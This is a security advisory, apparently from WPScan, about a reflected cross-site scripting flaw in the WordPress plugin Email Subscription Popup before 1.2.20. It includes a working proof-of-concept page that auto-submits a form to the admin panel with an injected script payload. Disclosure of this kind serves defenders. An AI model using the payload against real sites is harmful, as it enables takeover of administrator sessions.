Email Subscription Popup < 1.2.20 - Reflected XSS

2023-12-1500:00:00

Erwan LR (WPScan)

email subscription popup

reflected xss

admin

security threat

form injection

6 Medium

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

17.1%

JSON

Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open

<html>
    <body onload="document.forms[0].submit()">
        <form action="https://example.com/wp-admin/admin.php?page=email_subscription_popup_subscribers_management" method="POST">
            <input type="hidden" name="action" value="sendEmailForm" />
            <input type="hidden" name="sendEmailQueue" value="1" />
            <input type="hidden" name="queueemails" value="</textarea><img src onerror=alert(/XSS/)>" />
            <input type="submit" value="Submit" />
        </form>
    </body>
</html>